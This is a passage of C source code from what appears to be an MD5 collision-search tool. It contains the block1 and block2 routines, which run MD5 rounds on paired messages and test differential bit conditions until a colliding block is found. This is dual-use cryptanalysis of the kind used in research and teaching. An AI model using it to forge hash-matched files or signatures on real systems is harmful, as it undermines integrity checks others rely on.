s.Q0[27]) + s.Q0[26]\n\t\t\t+ s.X0[ 2] + 0xfcefa3f8,  9) + s.Q0[29];\n\t\ts.Q1[30] = RL(G(s.Q1[29], s.Q1[28], s.Q1[27]) + s.Q1[26]\n\t\t\t+ s.X1[ 2] + 0xfcefa3f8,  9) + s.Q1[29];\n\t\tif(s.Q0[30] != s.Q1[30])\n\t\t\tcontinue;\n\n\t\t/* C8 */\n\t\ts.Q0[31] = RL(G(s.Q0[30], s.Q0[29], s.Q0[28]) + s.Q0[27]\n\t\t\t+ s.X0[ 7] + 0x676f02d9, 14) + s.Q0[30];\n\t\ts.Q1[31] = RL(G(s.Q1[30], s.Q1[29], s.Q1[28]) + s.Q1[27]\n\t\t\t+ s.X1[ 7] + 0x676f02d9, 14) + s.Q1[30];\n\t\tif(s.Q0[31] != s.Q1[31])\n\t\t\tcontinue;\n\n\t\t/* B8 */\n\t\ts.Q0[32] = RL(G(s.Q0[31], s.Q0[30], s.Q0[29]) + s.Q0[28]\n\t\t\t+ s.X0[12] + 0x8d2a4c8a, 20) + s.Q0[31];\n\t\ts.Q1[32] = RL(G(s.Q1[31], s.Q1[30], s.Q1[29]) + s.Q1[28]\n\t\t\t+ s.X1[12] + 0x8d2a4c8a, 20) + s.Q1[31];\n\t\tif(s.Q0[32] != s.Q1[32])\n\t\t\tcontinue;\n\n\t\t/* A9 */\n\t\ts.Q0[33] = RL(H(s.Q0[32], s.Q0[31], s.Q0[30]) + s.Q0[29]\n\t\t\t+ s.X0[ 5] + 0xfffa3942,  4) + s.Q0[32];\n\t\ts.Q1[33] = RL(H(s.Q1[32], s.Q1[31], s.Q1[30]) + s.Q1[29]\n\t\t\t+ s.X1[ 5] + 0xfffa3942,  4) + s.Q1[32];\n\t\tif(s.Q0[33] != s.Q1[33])\n\t\t\tcontinue;\n\n\t\t/* D9 */\n\t\ts.Q0[34] = RL(H(s.Q0[33], s.Q0[32], s.Q0[31]) + s.Q0[30]\n\t\t\t+ s.X0[ 8] + 0x8771f681, 11) + s.Q0[33];\n\t\ts.Q1[34] = RL(H(s.Q1[33], s.Q1[32], s.Q1[31]) + s.Q1[30]\n\t\t\t+ s.X1[ 8] + 0x8771f681, 11) + s.Q1[33];\n\t\tif(s.Q0[34] != s.Q1[34])\n\t\t\tcontinue;\n\n\t\t/* C9 */\n\t\ts.Q0[35] = RL(H(s.Q0[34], s.Q0[33], s.Q0[32]) + s.Q0[31]\n\t\t\t+ s.X0[11] + 0x6d9d6122, 16) + s.Q0[34];\n\t\ts.Q1[35] = RL(H(s.Q1[34], s.Q1[33], s.Q1[32]) + s.Q1[31]\n\t\t\t+ s.X1[11] + 0x6d9d6122, 16) + s.Q1[34];\n\t\tif((s.Q0[35] ^ s.Q1[35]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B9 */\n\t\ts.Q0[36] = RL(H(s.Q0[35], s.Q0[34], s.Q0[33]) + s.Q0[32]\n\t\t\t+ s.X0[14] + 0xfde5380c, 23) + s.Q0[35];\n\t\ts.Q1[36] = RL(H(s.Q1[35], s.Q1[34], s.Q1[33]) + s.Q1[32]\n\t\t\t+ s.X1[14] + 0xfde5380c, 23) + s.Q1[35];\n\t\tif((s.Q0[36] ^ s.Q1[36]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A10 */\n\t\ts.Q0[37] = RL(H(s.Q0[36], s.Q0[35], s.Q0[34]) + s.Q0[33]\n\t\t\t+ s.X0[ 1] + 0xa4beea44,  4) + s.Q0[36];\n\t\ts.Q1[37] = RL(H(s.Q1[36], s.Q1[35], s.Q1[34]) + s.Q1[33]\n\t\t\t+ s.X1[ 1] + 0xa4beea44,  4) + s.Q1[36];\n\t\tif((s.Q0[37] ^ s.Q1[37]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D10 */\n\t\ts.Q0[38] = RL(H(s.Q0[37], s.Q0[36], s.Q0[35]) + s.Q0[34]\n\t\t\t+ s.X0[ 4] + 0x4bdecfa9, 11) + s.Q0[37];\n\t\ts.Q1[38] = RL(H(s.Q1[37], s.Q1[36], s.Q1[35]) + s.Q1[34]\n\t\t\t+ s.X1[ 4] + 0x4bdecfa9, 11) + s.Q1[37];\n\t\tif((s.Q0[38] ^ s.Q1[38]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C10 */\n\t\ts.Q0[39] = RL(H(s.Q0[38], s.Q0[37], s.Q0[36]) + s.Q0[35]\n\t\t\t+ s.X0[ 7] + 0xf6bb4b60, 16) + s.Q0[38];\n\t\ts.Q1[39] = RL(H(s.Q1[38], s.Q1[37], s.Q1[36]) + s.Q1[35]\n\t\t\t+ s.X1[ 7] + 0xf6bb4b60, 16) + s.Q1[38];\n\t\tif((s.Q0[39] ^ s.Q1[39]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B10 */\n\t\ts.Q0[40] = RL(H(s.Q0[39], s.Q0[38], s.Q0[37]) + s.Q0[36]\n\t\t\t+ s.X0[10] + 0xbebfbc70, 23) + s.Q0[39];\n\t\ts.Q1[40] = RL(H(s.Q1[39], s.Q1[38], s.Q1[37]) + s.Q1[36]\n\t\t\t+ s.X1[10] + 0xbebfbc70, 23) + s.Q1[39];\n\t\tif((s.Q0[40] ^ s.Q1[40]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A11 */\n\t\ts.Q0[41] = RL(H(s.Q0[40], s.Q0[39], s.Q0[38]) + s.Q0[37]\n\t\t\t+ s.X0[13] + 0x289b7ec6,  4) + s.Q0[40];\n\t\ts.Q1[41] = RL(H(s.Q1[40], s.Q1[39], s.Q1[38]) + s.Q1[37]\n\t\t\t+ s.X1[13] + 0x289b7ec6,  4) + s.Q1[40];\n\t\tif((s.Q0[41] ^ s.Q1[41]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D11 */\n\t\ts.Q0[42] = RL(H(s.Q0[41], s.Q0[40], s.Q0[39]) + s.Q0[38]\n\t\t\t+ s.X0[ 0] + 0xeaa127fa, 11) + s.Q0[41];\n\t\ts.Q1[42] = RL(H(s.Q1[41], s.Q1[40], s.Q1[39]) + s.Q1[38]\n\t\t\t+ s.X1[ 0] + 0xeaa127fa, 11) + s.Q1[41];\n\t\tif((s.Q0[42] ^ s.Q1[42]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C11 */\n\t\ts.Q0[43] = RL(H(s.Q0[42], s.Q0[41], s.Q0[40]) + s.Q0[39]\n\t\t\t+ s.X0[ 3] + 0xd4ef3085, 16) + s.Q0[42];\n\t\ts.Q1[43] = RL(H(s.Q1[42], s.Q1[41], s.Q1[40]) + s.Q1[39]\n\t\t\t+ s.X1[ 3] + 0xd4ef3085, 16) + s.Q1[42];\n\t\tif((s.Q0[43] ^ s.Q1[43]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B11 */\n\t\ts.Q0[44] = RL(H(s.Q0[43], s.Q0[42], s.Q0[41]) + s.Q0[40]\n\t\t\t+ s.X0[ 6] + 0x04881d05, 23) + s.Q0[43];\n\t\ts.Q1[44] = RL(H(s.Q1[43], s.Q1[42], s.Q1[41]) + s.Q1[40]\n\t\t\t+ s.X1[ 6] + 0x04881d05, 23) + s.Q1[43];\n\t\tif((s.Q0[44] ^ s.Q1[44]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A12 */\n\t\ts.Q0[45] = RL(H(s.Q0[44], s.Q0[43], s.Q0[42]) + s.Q0[41]\n\t\t\t+ s.X0[ 9] + 0xd9d4d039,  4) + s.Q0[44];\n\t\ts.Q1[45] = RL(H(s.Q1[44], s.Q1[43], s.Q1[42]) + s.Q1[41]\n\t\t\t+ s.X1[ 9] + 0xd9d4d039,  4) + s.Q1[44];\n\t\tif((s.Q0[45] ^ s.Q1[45]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D12 */\n\t\ts.Q0[46] = RL(H(s.Q0[45], s.Q0[44], s.Q0[43]) + s.Q0[42]\n\t\t\t+ s.X0[12] + 0xe6db99e5, 11) + s.Q0[45];\n\t\ts.Q1[46] = RL(H(s.Q1[45], s.Q1[44], s.Q1[43]) + s.Q1[42]\n\t\t\t+ s.X1[12] + 0xe6db99e5, 11) + s.Q1[45];\n\t\tif((s.Q0[46] ^ s.Q1[46]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C12 */\n\t\ts.Q0[47] = RL(H(s.Q0[46], s.Q0[45], s.Q0[44]) + s.Q0[43]\n\t\t\t+ s.X0[15] + 0x1fa27cf8, 16) + s.Q0[46];\n\t\ts.Q1[47] = RL(H(s.Q1[46], s.Q1[45], s.Q1[44]) + s.Q1[43]\n\t\t\t+ s.X1[15] + 0x1fa27cf8, 16) + s.Q1[46];\n\t\tif((s.Q0[47] ^ s.Q1[47]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B12 */\n\t\ts.Q0[48] = RL(H(s.Q0[47], s.Q0[46], s.Q0[45]) + s.Q0[44]\n\t\t\t+ s.X0[ 2] + 0xc4ac5665, 23) + s.Q0[47];\n\t\tif((s.Q0[48] ^ s.Q0[46]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[48] = RL(H(s.Q1[47], s.Q1[46], s.Q1[45]) + s.Q1[44]\n\t\t\t+ s.X1[ 2] + 0xc4ac5665, 23) + s.Q1[47];\n\t\tif((s.Q0[48] ^ s.Q1[48]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A13 */\n\t\ts.Q0[49] = RL(I(s.Q0[48], s.Q0[47], s.Q0[46]) + s.Q0[45]\n\t\t\t+ s.X0[ 0] + 0xf4292244,  6) + s.Q0[48];\n\t\tif((s.Q0[49] ^ s.Q0[47]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[49] = RL(I(s.Q1[48], s.Q1[47], s.Q1[46]) + s.Q1[45]\n\t\t\t+ s.X1[ 0] + 0xf4292244,  6) + s.Q1[48];\n\t\tif((s.Q0[49] ^ s.Q1[49]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D13 */\n\t\ts.Q0[50] = RL(I(s.Q0[49], s.Q0[48], s.Q0[47]) + s.Q0[46]\n\t\t\t+ s.X0[ 7] + 0x432aff97, 10) + s.Q0[49];\n\t\tif(!((s.Q0[50] ^ s.Q0[48]) & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[50] = RL(I(s.Q1[49], s.Q1[48], s.Q1[47]) + s.Q1[46]\n\t\t\t+ s.X1[ 7] + 0x432aff97, 10) + s.Q1[49];\n\t\tif((s.Q0[50] ^ s.Q1[50]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C13 */\n\t\ts.Q0[51] = RL(I(s.Q0[50], s.Q0[49], s.Q0[48]) + s.Q0[47]\n\t\t\t+ s.X0[14] + 0xab9423a7, 15) + s.Q0[50];\n\t\tif((s.Q0[51] ^ s.Q0[49]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[51] = RL(I(s.Q1[50], s.Q1[49], s.Q1[48]) + s.Q1[47]\n\t\t\t+ s.X1[14] + 0xab9423a7, 15) + s.Q1[50];\n\t\tif((s.Q0[51] ^ s.Q1[51]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B13 */\n\t\ts.Q0[52] = RL(I(s.Q0[51], s.Q0[50], s.Q0[49]) + s.Q0[48]\n\t\t\t+ s.X0[ 5] + 0xfc93a039, 21) + s.Q0[51];\n\t\tif((s.Q0[52] ^ s.Q0[50]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[52] = RL(I(s.Q1[51], s.Q1[50], s.Q1[49]) + s.Q1[48]\n\t\t\t+ s.X1[ 5] + 0xfc93a039, 21) + s.Q1[51];\n\t\tif((s.Q0[52] ^ s.Q1[52]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A14 */\n\t\ts.Q0[53] = RL(I(s.Q0[52], s.Q0[51], s.Q0[50]) + s.Q0[49]\n\t\t\t+ s.X0[12] + 0x655b59c3,  6) + s.Q0[52];\n\t\tif((s.Q0[53] ^ s.Q0[51]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[53] = RL(I(s.Q1[52], s.Q1[51], s.Q1[50]) + s.Q1[49]\n\t\t\t+ s.X1[12] + 0x655b59c3,  6) + s.Q1[52];\n\t\tif((s.Q0[53] ^ s.Q1[53]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D14 */\n\t\ts.Q0[54] = RL(I(s.Q0[53], s.Q0[52], s.Q0[51]) + s.Q0[50]\n\t\t\t+ s.X0[ 3] + 0x8f0ccc92, 10) + s.Q0[53];\n\t\tif((s.Q0[54] ^ s.Q0[52]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[54] = RL(I(s.Q1[53], s.Q1[52], s.Q1[51]) + s.Q1[50]\n\t\t\t+ s.X1[ 3] + 0x8f0ccc92, 10) + s.Q1[53];\n\t\tif((s.Q0[54] ^ s.Q1[54]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C14 */\n\t\ts.Q0[55] = RL(I(s.Q0[54], s.Q0[53], s.Q0[52]) + s.Q0[51]\n\t\t\t+ s.X0[10] + 0xffeff47d, 15) + s.Q0[54];\n\t\tif((s.Q0[55] ^ s.Q0[53]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[55] = RL(I(s.Q1[54], s.Q1[53], s.Q1[52]) + s.Q1[51]\n\t\t\t+ s.X1[10] + 0xffeff47d, 15) + s.Q1[54];\n\t\tif((s.Q0[55] ^ s.Q1[55]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B14 */\n\t\ts.Q0[56] = RL(I(s.Q0[55], s.Q0[54], s.Q0[53]) + s.Q0[52]\n\t\t\t+ s.X0[ 1] + 0x85845dd1, 21) + s.Q0[55];\n\t\tif((s.Q0[56] ^ s.Q0[54]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[56] = RL(I(s.Q1[55], s.Q1[54], s.Q1[53]) + s.Q1[52]\n\t\t\t+ s.X1[ 1] + 0x85845dd1, 21) + s.Q1[55];\n\t\tif((s.Q0[56] ^ s.Q1[56]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A15 */\n\t\ts.Q0[57] = RL(I(s.Q0[56], s.Q0[55], s.Q0[54]) + s.Q0[53]\n\t\t\t+ s.X0[ 8] + 0x6fa87e4f,  6) + s.Q0[56];\n\t\tif((s.Q0[57] ^ s.Q0[55]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[57] = RL(I(s.Q1[56], s.Q1[55], s.Q1[54]) + s.Q1[53]\n\t\t\t+ s.X1[ 8] + 0x6fa87e4f,  6) + s.Q1[56];\n\t\tif((s.Q0[57] ^ s.Q1[57]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D15 */\n\t\ts.Q0[58] = RL(I(s.Q0[57], s.Q0[56], s.Q0[55]) + s.Q0[54]\n\t\t\t+ s.X0[15] + 0xfe2ce6e0, 10) + s.Q0[57];\n\t\tif((s.Q0[58] ^ s.Q0[56]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[58] = RL(I(s.Q1[57], s.Q1[56], s.Q1[55]) + s.Q1[54]\n\t\t\t+ s.X1[15] + 0xfe2ce6e0, 10) + s.Q1[57];\n\t\tif((s.Q0[58] ^ s.Q1[58]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C15 */\n\t\ts.Q0[59] = RL(I(s.Q0[58], s.Q0[57], s.Q0[56]) + s.Q0[55]\n\t\t\t+ s.X0[ 6] + 0xa3014314, 15) + s.Q0[58];\n\t\tif((s.Q0[59] ^ s.Q0[57]) & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[59] = RL(I(s.Q1[58], s.Q1[57], s.Q1[56]) + s.Q1[55]\n\t\t\t+ s.X1[ 6] + 0xa3014314, 15) + s.Q1[58];\n\t\tif((s.Q0[59] ^ s.Q1[59]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B15 */\n\t\ts.Q0[60] = RL(I(s.Q0[59], s.Q0[58], s.Q0[57]) + s.Q0[56]\n\t\t\t+ s.X0[13] + 0x4e0811a1, 21) + s.Q0[59];\n\t\tif(s.Q0[60] & 0x02000000)\n\t\t\tcontinue;\n\t\ts.Q1[60] = RL(I(s.Q1[59], s.Q1[58], s.Q1[57]) + s.Q1[56]\n\t\t\t+ s.X1[13] + 0x4e0811a1, 21) + s.Q1[59];\n\t\tif((s.Q0[60] ^ s.Q1[60]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A16 */\n\t\ts.Q0[61] = RL(I(s.Q0[60], s.Q0[59], s.Q0[58]) + s.Q0[57]\n\t\t\t+ s.X0[ 4] + 0xf7537e82,  6) + s.Q0[60];\n\t\ts.A0 = IV[0] + s.Q0[61];\n\t\ts.Q1[61] = RL(I(s.Q1[60], s.Q1[59], s.Q1[58]) + s.Q1[57]\n\t\t\t+ s.X1[ 4] + 0xf7537e82,  6) + s.Q1[60];\n\t\ts.A1 = IV[0] + s.Q1[61];\n\t\tif((s.A0 ^ s.A1) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D16 */\n\t\ts.Q0[62] = RL(I(s.Q0[61], s.Q0[60], s.Q0[59]) + s.Q0[58]\n\t\t\t+ s.X0[11] + 0xbd3af235, 10) + s.Q0[61];\n\t\ts.D0 = IV[3] + s.Q0[62];\n\t\tif(s.D0 & 0x02000000)\n\t\t\tcontinue;\n\t\ts.Q1[62] = RL(I(s.Q1[61], s.Q1[60], s.Q1[59]) + s.Q1[58]\n\t\t\t+ s.X1[11] + 0xbd3af235, 10) + s.Q1[61];\n\t\ts.D1 = IV[3] + s.Q1[62];\n\t\tif((s.D0 - s.D1) != 0x7e000000)\n\t\t\tcontinue;\n\n\t\t/* C16 */\n\t\ts.Q0[63] = RL(I(s.Q0[62], s.Q0[61], s.Q0[60]) + s.Q0[59]\n\t\t\t+ s.X0[ 2] + 0x2ad7d2bb, 15) + s.Q0[62];\n\t\ts.C0 = IV[2] + s.Q0[63];\n\t\tif((s.C0 & 0x86000000) != ((s.D0 & 0x80000000) | 0x02000000))\n\t\t\tcontinue;\n\t\ts.Q1[63] = RL(I(s.Q1[62], s.Q1[61], s.Q1[60]) + s.Q1[59]\n\t\t\t+ s.X1[ 2] + 0x2ad7d2bb, 15) + s.Q1[62];\n\t\ts.C1 = IV[2] + s.Q1[63];\n\t\tif((s.C0 - s.C1) != 0x7e000000)\n\t\t\tcontinue;\n\n\t\t/* B16 */\n\t\ts.Q0[64] = RL(I(s.Q0[63], s.Q0[62], s.Q0[61]) + s.Q0[60]\n\t\t\t+ s.X0[ 9] + 0xeb86d391, 21) + s.Q0[63];\n\t\ts.B0 = IV[1] + s.Q0[64];\n\t\tif((s.B0 & 0x86000020) != (s.C0 & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[64] = RL(I(s.Q1[63], s.Q1[62], s.Q1[61]) + s.Q1[60]\n\t\t\t+ s.X1[ 9] + 0xeb86d391, 21) + s.Q1[63];\n\t\ts.B1 = IV[1] + s.Q1[64];\n\t\tif((s.B0 - s.B1) != 0x7e000000)\n\t\t\tcontinue;\n\t\n\t\tbreak;\n\t}\n\tif(i >= LOOP_12)\n\t\tgoto block1_again;\n\ts.ct1 = ct1;\n\ts.ct2 = i>>20;\n\treturn 0; \n}\n\nconst unsigned int mask22[30] = {\n\t0x00000001, 0x00000002, 0x00000004, 0x00000008,\n\t0x00000010, 0x00000020, 0x00000040, 0x00000080,\n\t0x00000100, 0x00000200, 0x00000400, 0x00000800, \n\t0x00001000, 0x00002000, 0x00004000, 0x00008000, \n\t0x00010000, 0x00020000, 0x00040000, 0x00080000,\n\t0x00100000, 0x00200000, 0x00400000, 0x00800000,\n\t0x01000000, 0x02000000, 0x04000000, 0x08000000,\n\t0x10000000, 0x40000000\n};\n\n/* return 0 on success, 1 if interrupt requested. Returns -1 on failure,\n   which means re-run block1(). */\nint block2(callback_t *cb)\n{\n\tint i;\n\tint ct3 = 0;\n\tint it = 0;\n\nblock2_again:\n\tfor(;;)\n\t{\n                /* A1 */\n                s.Q0[ 1] = (random() | 0x84200000) & ~0x0a000820;\n\t\ts.Q1[ 1] = s.Q0[ 1] - 0x7e000000;\n\n                s.X0[16] = RR(s.Q0[ 1] - s.B0,  7) - F(s.B0, s.C0, s.D0)\n                        - s.A0 - 0xd76aa478;\n                s.X1[16] = RR(s.Q1[ 1] - s.B1,  7) - F(s.B1, s.C1, s.D1)\n                        - s.A1 - 0xd76aa478;\n                if(s.X0[16] != s.X1[16])\n                        continue;\n\t\tbreak;\n\t}\n\n\tfor(i = 0; i < 10; i++)\n\t{\n                /* D1 */\n                s.Q0[ 2] = (random() | 0x8c000800) & ~(0x02208026 | 0x701f10c0);\n\t\ts.Q0[ 2] |= (s.Q0[ 1] & 0x701f10c0);\n\t\ts.Q1[ 2] = s.Q0[ 2] - 0x7dffffe0;\n\n                s.X0[17] = RR(s.Q0[ 2] - s.Q0[ 1], 12) - F(s.Q0[ 1], s.B0, s.C0)\n                        - s.D0 - 0xe8c7b756;\n                s.X1[17] = RR(s.Q1[ 2] - s.Q1[ 1], 12) - F(s.Q1[ 1], s.B1, s.C1)\n                        - s.D1 - 0xe8c7b756;\n                if(s.X0[17] != s.X1[17])\n                        continue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* C1 */\n\t\ts.Q0[ 3] = (random() | 0xbe1f0966) & ~(0x40201080 | 0x00000018);\n\t\ts.Q0[ 3] |= (s.Q0[ 2] & 0x00000018);\n\t\ts.Q1[ 3] = s.Q0[ 3] - 0x7dfef7e0;\n\n                s.X0[18] = RR(s.Q0[ 3] - s.Q0[ 2], 17) - F(s.Q0[ 2], s.Q0[ 1], s.B0)\n                        - s.C0 - 0x242070db;\n                s.X1[18] = RR(s.Q1[ 3] - s.Q1[ 2], 17) - F(s.Q1[ 2], s.Q1[ 1], s.B1)\n                        - s.C1 - 0x242070db;\n                if(s.X0[18] != s.X1[18])\n                        continue;\n\t\tbreak;\n\t}\n\tif(i >= 10) {\n\t  \tif (ct3 == 0) {\n\t\t\t/* sometimes block1() returns a state that\n\t\t\t   never gets past this point, causing\n\t\t\t   block2() to hang forever. Try to detect\n\t\t\t   this and fail (emergency exit). One example\n\t\t\t   where this happens is the initial vector\n\t\t\t   0x874587a2 0xf09dfbdf 0x17732fb1 0x9299e527\n\t\t\t   with random seed 2. */\n\t\t\tit++;\n\t\t\tif (it >= 10000) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t\tgoto block2_again;\n\t}\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* B1 */\n\t\ts.Q0[ 4] = (random() | 0xba040010) & ~(0x443b19ee | 0x00000601);\n\t\ts.Q0[ 4] |= (s.Q0[ 3] & 0x00000601);\n\t\ts.Q1[ 4] = s.Q0[ 4] - 0x7dffffe2;\n\n                s.X0[19] = RR(s.Q0[ 4] - s.Q0[ 3], 22) - F(s.Q0[ 3], s.Q0[ 2], s.Q0[ 1])\n                        - s.B0 - 0xc1bdceee;\n                s.X1[19] = RR(s.Q1[ 4] - s.Q1[ 3], 22) - F(s.Q1[ 3], s.Q1[ 2], s.Q1[ 1])\n                        - s.B1 - 0xc1bdceee;\n                if(s.X0[19] != s.X1[19])\n                        continue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* A2 */\n\t\ts.Q0[ 5] = (random() | 0x482f0e50) & ~0xb41011af;\n\t\ts.Q1[ 5] = s.Q0[ 5] - 0x7ffffcbf;\n\n                s.X0[20] = RR(s.Q0[ 5] - s.Q0[ 4],  7) - F(s.Q0[ 4], s.Q0[ 3], s.Q0[ 2])\n                        - s.Q0[ 1] - 0xf57c0faf;\n                s.X1[20] = RR(s.Q1[ 5] - s.Q1[ 4],  7) - F(s.Q1[ 4], s.Q1[ 3], s.Q1[ 2])\n                        - s.Q1[ 1] - 0xf57c0faf;\n                if((s.X0[20] ^ s.X1[20]) != 0x80000000)\n                        continue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* D2 */\n\t\ts.Q0[ 6] = (random() | 0x04220c56) & ~0x9a1113a9;\n\t\ts.Q1[ 6] = s.Q0[ 6] - 0x80110000;\n\n                s.X0[21] = RR(s.Q0[ 6] - s.Q0[ 5], 12) - F(s.Q0[ 5], s.Q0[ 4], s.Q0[ 3])\n                        - s.Q0[ 2] - 0x4787c62a;\n                s.X1[21] = RR(s.Q1[ 6] - s.Q1[ 5], 12) - F(s.Q1[ 5], s.Q1[ 4], s.Q1[ 3])\n                        - s.Q1[ 2] - 0x4787c62a;\n                if(s.X0[21] != s.X1[21])\n                        continue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* C2 */\n\t\ts.Q0[ 7] = (random() | 0x96011e01) & ~(0x083201c0 | 0x01808000);\n\t\ts.Q0[ 7] |= (s.Q0[ 6] & 0x01808000);\n\t\ts.Q1[ 7] = s.Q0[ 7] - 0x88000040;\n\n\t\ts.X0[22] = RR(s.Q0[ 7] - s.Q0[ 6], 17) - F(s.Q0[ 6], s.Q0[ 5], s.Q0[ 4])\n\t\t\t- s.Q0[ 3] - 0xa8304613;\n\t\ts.X1[22] = RR(s.Q1[ 7] - s.Q1[ 6], 17) - F(s.Q1[ 6], s.Q1[ 5], s.Q1[ 4])\n\t\t\t- s.Q1[ 3] - 0xa8304613;\n\t\tif(s.X0[22] != s.X1[22])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* B2 */\n\t\ts.Q0[ 8] = (random() | 0x843283c0) & ~(0x1b810001 | 0x00000002);\n\t\ts.Q0[ 8] |= (s.Q0[ 7] & 0x00000002);\n\t\ts.Q1[ 8] = s.Q0[ 8] - 0x80818000;\n\n\t\ts.X0[23] = RR(s.Q0[ 8] - s.Q0[ 7], 22) - F(s.Q0[ 7], s.Q0[ 6], s.Q0[ 5])\n\t\t\t- s.Q0[ 4] - 0xfd469501;\n\t\ts.X1[23] = RR(s.Q1[ 8] - s.Q1[ 7], 22) - F(s.Q1[ 7], s.Q1[ 6], s.Q1[ 5])\n\t\t\t- s.Q1[ 4] - 0xfd469501;\n\t\tif(s.X0[23] != s.X1[23])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* A3 */\n\t\ts.Q0[ 9] = (random() | 0x9c0101c1) & ~(0x03828202 | 0x00001000);\n\t\ts.Q0[ 9] |= (s.Q0[ 8] & 0x00001000);\n\t\ts.Q1[ 9] = s.Q0[ 9] - 0x7fffffbf;\n\n\t\ts.X0[24] = RR(s.Q0[ 9] - s.Q0[ 8],  7) - F(s.Q0[ 8], s.Q0[ 7], s.Q0[ 6])\n\t\t\t- s.Q0[ 5] - 0x698098d8;\n\t\ts.X1[24] = RR(s.Q1[ 9] - s.Q1[ 8],  7) - F(s.Q1[ 8], s.Q1[ 7], s.Q1[ 6])\n\t\t\t- s.Q1[ 5] - 0x698098d8;\n\t\tif(s.X0[24] != s.X1[24])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* D3 */\n\t\ts.Q0[10] = (random() | 0x878383c0) & ~0x00041003;\n\t\ts.Q1[10] = s.Q0[10] - 0x7ffff000;\n\n\t\ts.X0[25] = RR(s.Q0[10] - s.Q0[ 9], 12) - F(s.Q0[ 9], s.Q0[ 8], s.Q0[ 7])\n\t\t\t- s.Q0[ 6] - 0x8b44f7af;\n\t\ts.X1[25] = RR(s.Q1[10] - s.Q1[ 9], 12) - F(s.Q1[ 9], s.Q1[ 8], s.Q1[ 7])\n\t\t\t- s.Q1[ 6] - 0x8b44f7af;\n\t\tif(s.X0[25] != s.X1[25])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* C3 */\n\t\ts.Q0[11] = (random() | 0x800583c3) & ~(0x00021000 | 0x00086000);\n\t\ts.Q0[11] |= (s.Q0[10] & 0x00086000);\n\t\ts.Q1[11] = s.Q0[11] - 0x80000000;\n\n\t\ts.X0[26] = RR(s.Q0[11] - s.Q0[10], 17) - F(s.Q0[10], s.Q0[ 9], s.Q0[ 8])\n\t\t\t- s.Q0[ 7] - 0xffff5bb1;\n\t\ts.X1[26] = RR(s.Q1[11] - s.Q1[10], 17) - F(s.Q1[10], s.Q1[ 9], s.Q1[ 8])\n\t\t\t- s.Q1[ 7] - 0xffff5bb1;\n\t\tif(s.X0[26] != s.X1[26])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* B3 */\n\t\ts.Q0[12] = (random() | 0x80081080) & ~(0x0007e000 | 0x7f000000);\n\t\ts.Q0[12] |= (s.Q0[11] & 0x7f000000);\n\t\ts.Q1[12] = s.Q0[12] - 0x80002080;\n\n\t\ts.X0[27] = RR(s.Q0[12] - s.Q0[11], 22) - F(s.Q0[11], 